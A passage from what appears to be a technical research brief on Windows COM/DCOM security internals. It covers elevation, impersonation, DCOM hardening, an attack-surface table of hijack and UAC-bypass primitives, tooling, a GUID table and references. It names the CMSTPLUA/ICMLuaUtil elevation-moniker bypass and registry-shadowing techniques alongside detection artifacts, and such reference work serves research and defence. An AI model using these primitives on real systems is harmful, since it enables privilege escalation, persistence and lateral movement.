CoImpersonateClient()/CoRevertToSelf()— the client-supplieddwImpLevelcaps what the server may do (Anonymous < Identify < Impersonate < Delegate). Cloaking (EOAC_STATIC/DYNAMIC_CLOAKING) decides which token the proxy presents — the root of "token kidnap"/wrong-identity bugs exploited by the potato family and activation-identity confusion.
9.3 Server identity
Chosen at launch from AppID: launching user (default; token of activator — integrity level is inherited! medium IL activator ⇒ medium IL server), RunAs user, LocalService, or Interactive User — which creates the object in whatever session is currently interactive, enabling cross-session activation by lower-privileged users when Launch/Access ACLs allow (bohops' CVE-2023-33127 chain: PhoneExperienceHost CLSID {7540C300-BE9B-4C0D-A335-F002F9AB73B7} activated cross-session; the general discovery method = OleViewDotNet filter "Run as: Interactive User").
9.4 UAC & the elevation bridge
CoGetObject("Elevation:Administrator!new:{CLSID}", &bind_opts3_with_hwnd, riid, &ppv) routes through the AppInfo service (appinfo.dll, RAiLaunchAdminProcess) which evaluates the class's elevation policy and shows consent UI (or auto-approves). Class requirements (Microsoft doc "The COM Elevation Moniker", verified verbatim):
- registered under HKLM only (HKCU registrations cannot elevate —
CO_E_ELEVATION_DISABLEDpath guard); HKCR\CLSID\{CLSID}\Elevation\Enabled = 1(elseCO_E_ELEVATION_DISABLED);HKCR\CLSID\{CLSID}\LocalizedString = @dll,-residMUI display name (elseCO_E_MISSING_DISPLAYNAME; MUI load errors fromRegLoadMUIStringWpropagate);- optional
Elevation\IconReference; binary must be signed for icon display; - class must run as launching user / Activate-as-Activator else
CO_E_RUNAS_VALUE_MUST_BE_AAA; - already-elevated client ⇒ no UI.
Two elevation classes exist: prompted (consent UI — legitimate) and auto-elevated (silent for auto-approved binaries; abused by the CMSTPLUA family:
{3E5FC7F9-9A51-4367-9063-A120244FBEC7}+ICMLuaUtil{6EDD6D74-C007-4E75-B76A-E5740995E24C}→ShellExec; artifact: child ofDllHost.exe /Processid:{3E5FC7F9-...}). Server-side spawn: elevated dllhost or the LocalServer32 exe at High IL.
9.5 DCOM hardening (CVE-2021-26414, KB5004442)
Windows DCOM Server Security Feature Bypass → phased enforcement of RPC_C_AUTHN_LEVEL_PKT_INTEGRITY minimum for non-anonymous activation: Jun 2021 opt-in (HKLM\SOFTWARE\Microsoft\Ole\AppCompat!RequireIntegrityActivationAuthenticationLevel=1), Jun 2022 default-on, Nov 2022 client auto-raise (RaiseActivationAuthenticationLevel=2), Mar 2023 mandatory. Telemetry: System log source DistributedCOM events 10036 (server reject), 10037/10038 (client below floor) — also prime detection content for spotting lateral-movement activation attempts.
10. WinRT and .NET (short but necessary bridges)
- WinRT is COM vNext: same IUnknown base;
IInspectable(IID{AF86E2E0-B12D-4C6A-9C5A-D7AA65101E90};GetIids,GetRuntimeClassName,GetTrustLevel) replaces IDispatch; metadata in.winmd(ECMA-335) instead of TLBs; activation viaRoGetActivationFactory(HSTRING clsid, IID, void**)/RoActivateInstance; classes registered per-package underHKLM\SOFTWARE\Microsoft\WindowsRuntime(andActivatableClassIdserver mappings), notHKCR\CLSID— hence invisible to classic hijack tooling; language projections (C++/WinRT, C#/WinRT,RoGetActivationFactoryshims). Forshaw's OleViewDotNet parses both worlds. - .NET interop: managed classes exposed to COM are hosted by
mscoree.dllasInprocServer32with valuesClass,Assembly,RuntimeVersion,CodeBase; clients get an RCW (System.Runtime.InteropServices), servers a CCW. Type libraries viaregasm /tlb/tlbexp;ComImport+Guiddeclares native interfaces in managed code; OleViewDotNet builds dynamicIDispatchstubs at runtime to call arbitrary vtables — the same trick fuzzers use (incendium.rocks methodology: registry/CLSID → JSON of interfaces/methods → automatedInvoke).
11. Attack-surface map (fundamentals → chapter pointers)
| # | Primitive (rooted in this brief) | Mechanism | Attack family |
|---|---|---|---|
| 1 | HKCU shadowing of CLSID\{X}\InprocServer32/LocalServer32 |
merged-view precedence (4.1) → per-user persistence/exec; into auto-elevated procs → UAC bypass | Persistence / UAC |
| 2 | TreatAs/AutoTreatAs redirect |
4.2 checked before server key (used by Turla "COMpfun" family) | Persistence |
| 3 | Phantom InprocServer32/LocalServer32 paths |
5.2 load of non-existent file → plant binary | Persistence |
| 4 | Interface\{IID}\ProxyStubClsid32 shadow |
4.4 → DLL into both endpoints incl. SYSTEM servers | LPE / Persistence |
| 5 | TypeLib\{LIBID}\...\win32 path shadow + LoadTypeLib moniker quirk |
4.5 | Persistence / Execution |
| 6 | ProgID/VersionIndependentProgID/CurVer squatting | 3, 4.1 | Persistence |
| 7 | Moniker string injection (script:, new:, session:, Elevation:, composite) |
5.5, 8; CoGetObject/moniker-accepting APIs (Office OLE, LoadTypeLib, SCT/scriptlet) |
Execution |
| 8 | ROT squatting/snooping | 8 | LPE / Execution |
| 9 | Cross-session activation (RunAs=Interactive User) |
9.3 | LPE |
| 10 | DCOM remote activation of LM-friendly classes | 5.4 | Lateral movement |
| 11 | Custom-marshal blob abuse (OBJREF_CUSTOM forgery, IMarshal parsing bugs) | 6.1/6.2 | Execution / Relay |
| 12 | Surrogate abuse (DllSurrogate → attacker DLL in dllhost) |
4.3 | Persistence / Execution |
| 13 | Reg-free COM manifest hijack | 4.7 | Persistence / Execution |
Representative CVEs anchored in fundamentals: CVE-2015-2370 (DCOM activation RPC replay → SYSTEM LPE; NTLM-authed ResolveOxid2 followed by replayed RemoteCreateInstance), CVE-2017-8759 (soap: WSDL moniker → .NET codegen RCE, in-the-wild), CVE-2018-0824 ("Microsoft COM for Windows RCE" — ole32 deserialization of crafted OLE/moniker data via Office OLE2 objects, exploited in the wild, patched May 2018; describe as moniker/OLE deserialization RCE), CVE-2017-0100 (Windows COM/DCOM EoP, HelpPane auto-elevation + activation identity — Forshaw; flag moderate confidence on exact mechanism), CVE-2021-26414 (DCOM activation auth-level bypass → the hardening saga of 9.5). Office responded to the moniker wave with a per-app kill list at HKLM\SOFTWARE\Microsoft\Office\<ver>\Common\COM Compatibility\{CLSID} ("ActivationFilter"/kill bits) covering htafile {3050F4D8-...}, scriptlet {06290BD3-...}, Composite {00000309-...}, File {00000303-...}, New {ECABAFC6-...}, SOAP {ECABB0C7-...} monikers.
12. Tooling & lab notes
- OleViewDotNet (
github.com/tyranid/oleviewdotnet): enumerates classes/interfaces/AppIDs/typelibs (incl. per-user & WOW64 views), shows AppID ACLs/RunAs/Elevation flags, parses vtables from typelibs/.winmd, ROT viewer, invoke arbitrary methods, spawn elevated (CreateElevated), filter "Run as Interactive User". The standard recon tool. oleview.exe(SDK),dcomcnfg.exe,regedit/reg query HKCR\CLSID /s, PowerShellGet-ChildItem Registry::HKEY_CLASSES_ROOT\CLSID, ProcMon (Path contains InprocServer32/LocalServer32/TreatAs/ProxyStubClsid32, Result = NAME NOT FOUND for phantom hunting), Wiresharkdcom/dcerpcdissectors (grepMEOW), RpcView (RPC interface/IPID maps), Event Viewer (DistributedCOM 10015/10016/10036–10038), API Monitor / WinDbgbp combase!CoCreateInstance.- Lab: two VMs (domain-joined) for DCOM LM; a standard (non-admin) user VM for HKCU-hijack labs; snapshot before
regsvr32/manifest experiments; enable "Microsoft-Windows-COMRuntime" ETW + OLE32/COM ETW providers for activation tracing.
13. Diagram specs (covered by DIAGRAM_SPEC d01–d08)
- Anatomy of a COM object — client pointer → vptr → vtable slots 0..2 (QI/AddRef/Release) + method slots; second vptr for a second interface; refcount field.
- COM identity zoo — central GUID box; spokes CLSID/IID/AppID/LIBID/ProgID → registry homes.
- HKCR merged view — HKLM + HKCU stacks → merged HKCR lens; attacker writing into HKCU layer highlighted; WOW6432Node branch.
- Registry anatomy of a CLSID — tree from 4.2 with call-outs: TreatAs (checked first), InprocServer32+ThreadingModel, LocalServer32, AppID link, Elevation\Enabled.
- In-process activation sequence (d01).
- Local OOP activation sequence — RPCSS/DcomLaunch/-Embedding/CoRegisterClassObject/OBJREF; security-check gates.
- Remote DCOM activation sequence (d05) — TCP135, RemoteCreateInstance opnum 6, ResolveOxid2, dynamic ports.
- Apartment map of a process — Main STA/MTA/NTA; ThreadingModel coloring; FTM bypass.
- Proxy/stub call stack (d04).
- OBJREF on the wire (d04) — 'MEOW' 0x574F454D byte layout.
- OXID resolution & pinging timeline (d05).
- COM security decision funnel (d06/d08) — launch → access → authn → impersonation gates.
- Elevation moniker flow (d07).
- Moniker binding pipeline — display string → MkParseDisplayName → Composite → BindToObject → ROT check; dangerous prefixes overlay.
- Hijack primitive decision tree (d08) — which registry key shadowed → what loads where.
- Surrogate hosting — AppID{DllSurrogate=""} → dllhost /Processid.
14. Quick-reference GUID table
| Item | GUID |
|---|---|
| IID_IUnknown | 00000000-0000-0000-C000-000000000046 |
| IID_IClassFactory | 00000001-0000-0000-C000-000000000046 |
| IID_IMarshal | 00000003-0000-0000-C000-000000000046 |
| IID_IMoniker / IBindCtx / IROT | 0000000F-… / 0000000E-… / 00000010-… (-C000-000000000046) |
| IID_IParseDisplayName | 0000001A-0000-0000-C000-000000000046 |
| IID_IDispatch | 00020400-0000-0000-C000-000000000046 |
| IID_ITypeInfo / ITypeLib | 00020401-… / 00020402-… |
| PSDispatch / PSOAInterface (universal marshaler) | 00020420-… / 00020424-0000-0000-C000-000000000046 |
| IID_IRemUnknown / IRemUnknown2 | 00000131-… / 00000143-… |
| IGlobalInterfaceTable; CLSID_StdGIT | 00000146-…; 00000323-0000-0000-C000-000000000046 |
| CLSID_FreeThreadedMarshaler | 00000333-0000-0000-C000-000000000046 |
| IRemoteSCMActivator / ISystemActivator | 000001A0-0000-0000-C000-000000000046 |
| IOXIDResolver (IObjectExporter) | 99FCFEC4-5260-101B-BBCB-00AA0021347A |
| Monikers: File/Item/Anti/Pointer/Composite/Class | 00000303/…304/…305/…306/…309/…31A -C000-000000000046 |
| NewMoniker | ECABAFC6-7F19-11D2-978E-0000F8757E2A |
| ScriptMoniker (scrobj.dll) | 06290BD3-48AA-11D2-8432-006008C3FBFC |
| QueueMoniker / SoapMoniker | ECABAFC7-… / ECABB0C7-7F19-11D2-978E-0000F8757E2A |
| CMSTPLUA / ICMLuaUtil | 3E5FC7F9-9A51-4367-9063-A120244FBEC7 / 6EDD6D74-C007-4E75-B76A-E5740995E24C |
| CLSID_FileOperation (IFileOperation host) | 3AD05575-8857-4850-9277-11B85BDB8E09 |
| Task Scheduler (Schedule.Service) | 0F87369F-A4E5-4CFC-BD3E-73E6154572DD |
| WScript.Shell / Shell.Application / IE | 72C24DD5-D70A-438B-8A42-98424B88AFB8 / 13709620-C279-11CE-A49E-444553540000 / 0002DF01-0000-0000-C000-000000000046 |
| IInspectable (WinRT) | AF86E2E0-B12D-4C6A-9C5A-D7AA65101E90 |
REFERENCES
- CoCreateInstance function (combaseapi.h) — Microsoft Learn: https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-cocreateinstance
- CLSCTX enumeration (wtypesbase.h) — Microsoft Learn: https://learn.microsoft.com/en-us/windows/win32/api/wtypesbase/ne-wtypesbase-clsctx
- CoInitializeEx function — Microsoft Learn: https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-coinitializeex
- CoInitializeSecurity function — Microsoft Learn: https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-coinitializesecurity
- The COM Elevation Moniker — MicrosoftDocs/win32 (exact registry requirements LocalizedString / Elevation\Enabled / error codes): https://github.com/MicrosoftDocs/win32/blob/docs/desktop-src/com/the-com-elevation-moniker.md
- AppID Key — Microsoft Learn: https://learn.microsoft.com/en-us/windows/win32/com/appid-key
- CLSID Key — Microsoft Learn: https://learn.microsoft.com/en-us/windows/win32/com/clsid-key-hklm
- Registering COM Servers / InprocServer32 — Microsoft Learn: https://learn.microsoft.com/en-us/windows/win32/com/registering-com-servers
- Distributed Component Object Model Protocol — DCOM/1.0 draft (Brown/Kindel; OBJREF/STDOBJREF/DUALSTRINGARRAY/MEOW, tower IDs): https://download.samba.org/pub/samba/specs/draft-brown-dcom-v1-spec-03.txt (IETF mirror: https://datatracker.ietf.org/doc/html/draft-brown-dcom-v1-spec-03)
- [MS-DCOM]: Distributed Component Object Model (DCOM) Remote Protocol — Microsoft Learn: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dcom/
- Understanding the DCOM Wire Protocol by Analyzing Network Data Packets — MSJ March 1998 (mirror): https://jacobfilipp.com/MSJ/dcom.html
- 3 Ways to Get a COM Server Process ID (OBJREF/STDOBJREF C structs, OXID/OID/IPID semantics) — Apriorit: https://www.apriorit.com/dev-blog/724-windows-three-ways-to-get-com-server-process-id
- Inside COM+ (Dale Rogerson) — More on Monikers (IMoniker method table): https://thrysoee.dk/InsideCOM+/ch11c.htm ; DLL Surrogates (AppID named-values table): https://thrysoee.dk/InsideCOM+/ch12b.htm ; Marshaled Interface Pointers: https://thrysoee.dk/InsideCOM+/ch19e.htm
- The Component Object Model (COM registry keys table, HKCR merged view, SCM lookup walkthrough) — magicsplat: https://www.magicsplat.com/book/com.html
- COM Hijacking in Windows (HKCR/WOW6432Node, per-user vs system hives, InprocServer32/LocalServer32/TreatAs) — cyberc0re: https://www.cyberc0re.in/posts/com-hijacking-in-windows/
- Lateral Movement Using DCOM Objects and C# (CLSID/ProgID/AppID model, AppID requirement for DCOM) — klezvirus: https://klezvirus.github.io/RedTeaming/LateralMovement/LateralMovementDCOM/
- Yet another DCOM object for lateral movement (COM terminology, HKCR\Interface/CLSID subkeys) — Kaspersky Securelist: https://securelist.com/lateral-movement-via-dcom-abusing-control-panel/118232/
- Abusing .NET Core CLR Diagnostic Features (+CVE-2023-33127) — cross-session DCOM activation via "Interactive User" RunAs, OleViewDotNet methodology — bohops: https://bohops.com/2023/11/27/abusing-net-core-clr-diagnostic-features-cve-2023-33127/
- OleViewDotNet — James Forshaw (tyranid): https://github.com/tyranid/oleviewdotnet
- DCOM Logical Privilege Escalation Part 6 (cites Forshaw "COM in Sixty Seconds"; ISystemActivator 000001A0, PropsOutInfo/MInterfacePointer→OBJREF): https://ithelp.ithome.com.tw/articles/10339264
- CVE-2015-2370 DCOM DCE/RPC protocol analysis (IRemoteSCMActivator::RemoteCreateInstance replay LPE; rpcss.dll IObjectExporter/ResolveOxid2): https://security.zone.ci/AnQuanKe/AnQuanKeInfo/132266.html
- KB5004442 — Manage changes for Windows DCOM Server Security Feature Bypass (CVE-2021-26414) — Microsoft Support: https://support.microsoft.com/en-au/topic/kb5004442-manage-changes-for-windows-dcom-server-security-feature-bypass-cve-2021-26414-f1400b52-c141-43d2-941e-37ed901c769c
- DCOM authentication hardening: what you need to know — Microsoft Tech Community: https://techcommunity.microsoft.com/blog/windows-itpro-blog/dcom-authentication-hardening-what-you-need-to-know/3657154
- Microsoft DCOM Hardening Patch (CVE-2021-26414) — events 10036/10037/10038 details — SoftwareToolbox: https://help.softwaretoolbox.com/faq/microsoft-dcom-hardening
- Attacking Visual Studio for Initial Access (LoadTypeLib moniker-parsing quirk; script moniker 06290BD3) — Outflank: https://www.outflank.nl/blog/2023/03/28/attacking-visual-studio-for-initial-access/
- Moniker Magic: Running Scripts Directly in Microsoft Office (script moniker CLSID, OleCreateLink bind chain) — leo00000 PDF: https://leo00000.github.io/pdf/Moniker_Magic_final.pdf
- Office Moniker vulnerabilities overview (CVE-2017-8759, CVE-2018-8174, Office moniker blacklist CLSIDs incl. NewMoniker ECABAFC6): https://zhuanlan.zhihu.com/p/352124245
- Automating COM/DCOM vulnerability research (OleViewDotNet-driven fuzzing; IDispatch JSON dump methodology) — incendium.rocks: https://incendium.rocks/posts/Automating-COM-Vulnerability-Research/
- Security Considerations for Requestors (CoInitializeSecurity hardening guidance) — Microsoft (MSDN archive): https://msdn.microsoft.com/en-us/library/windows/desktop/aa384604(v=vs.85).aspx
- CoInitializeSecurity (ole32) — EOAC/Authn/Imp enum values — pinvoke.net: http://pinvoke.net/default.aspx/ole32.CoInitializeSecurity
- The case of COM failing to pump messages in a single-threaded COM apartment — Raymond Chen, The Old New Thing: https://devblogs.microsoft.com/oldnewthing/20250314-00/?p=110965
- Apartments and COM Threading Models (STA/MTA internals, hidden window, SCM activation modes) — Syracuse ECS CSE775: https://ecs.syr.edu/faculty/fawcett/Handouts/cse775/Presentations/apartments.pdf
- Windows Scheduled Tasks research (elevation-moniker requirements testing; Task Scheduler CLSID 0F87369F) — 3gstudent: https://3gstudent.github.io/backup-3gstudent.github.io/
- Reversing ICMLuaUtil: ShellExec and CallCustomActionDll for Elevated Execution — codedintrusion: https://codedintrusion.com/posts/reversing-icmluautil/
- Sharp4COMBypassUAC: ICMLuaUtil UAC bypass (elevation moniker + BIND_OPTS3 dwClassContext=4) — xz.aliyun.com: https://xz.aliyun.com/t/16063
- ALPHV ransomware analysis (CMSTPLUA elevation moniker in the wild; dllhost /Processid artifact) — d01a.github.io: https://d01a.github.io/alphv/
- Info Stealing Campaign Uses DLL Sideloading Through Cisco Webex Binaries (CoGetObject elevation moniker TTP, T1548.002) — Trellix: https://www.trellix.com/blogs/research/how-attackers-repackaged-a-threat-into-something-that-looked-benign/
- GhostWeaver PowerShell RAT (PEB masquerade + elevation moniker + ServerCreateElevatedObject) — derp.ca: https://www.derp.ca/research/ghostweaver-tag124-powershell-rat/
- In-Memory Loader Drops ScreenConnect (elevation moniker string obfuscation in loaders) — Zscaler ThreatLabz: https://www.zscaler.com/jp/blogs/security-research/memory-loader-drops-screenconnect
- Lines Sample (canonical registry registration: ProgID/CurVer/LocalServer32/TypeLib/Interface ProxyStubClsid32=PSOAInterface) — Microsoft MSDN: https://msdn.microsoft.com/en-us/library/ms220980.aspx
- MSI Packaging ebook — TypeLib table → HKCR\TypeLib{LIBID}<ver>\0\Win32, FLAGS, HELPDIR: https://www.advancedinstaller.com/application-packaging-training/msi/ebook/registries.html
- Default CLSID/IID list Windows 10 19041 (scrobj.dll family: Scriptlet.Context/Constructor/Factory, Script moniker BD3, HostEncode BD4, TypeLib BD5) — inaz2 gist: https://gist.github.com/inaz2/5fa3ca02f4e8204a7dd4d4b50fd0c13f
- STA vs MTA in COM: Apartments, Marshaling, and Deadlocks — comcomponent.com: https://comcomponent.com/en/blog/2026/01/31/000-sta-mta-com-relationship/
- COM in Sixty Seconds — James Forshaw (44CON 2017 talk, activation/OBJREF internals; slides via 44CON archive): https://github.com/tyranid/presentations
Confidence & gaps: All registry paths, API signatures, OBJREF structures, CLSCTX/COINIT/authn-level constants, and the moniker CLSIDs in section 14 are verified against at least two sources above. Explicitly unverified (flagged inline): Session Moniker & Elevation Moniker implementation CLSIDs (syntax documented; confirm numeric CLSIDs in OleViewDotNet), exact mechanism attribution for CVE-2017-0100, and current default values of LegacyAuthenticationLevel/LegacyImpersonationLevel on fully-patched Win11 (hardening has shifted these; describe as version-dependent).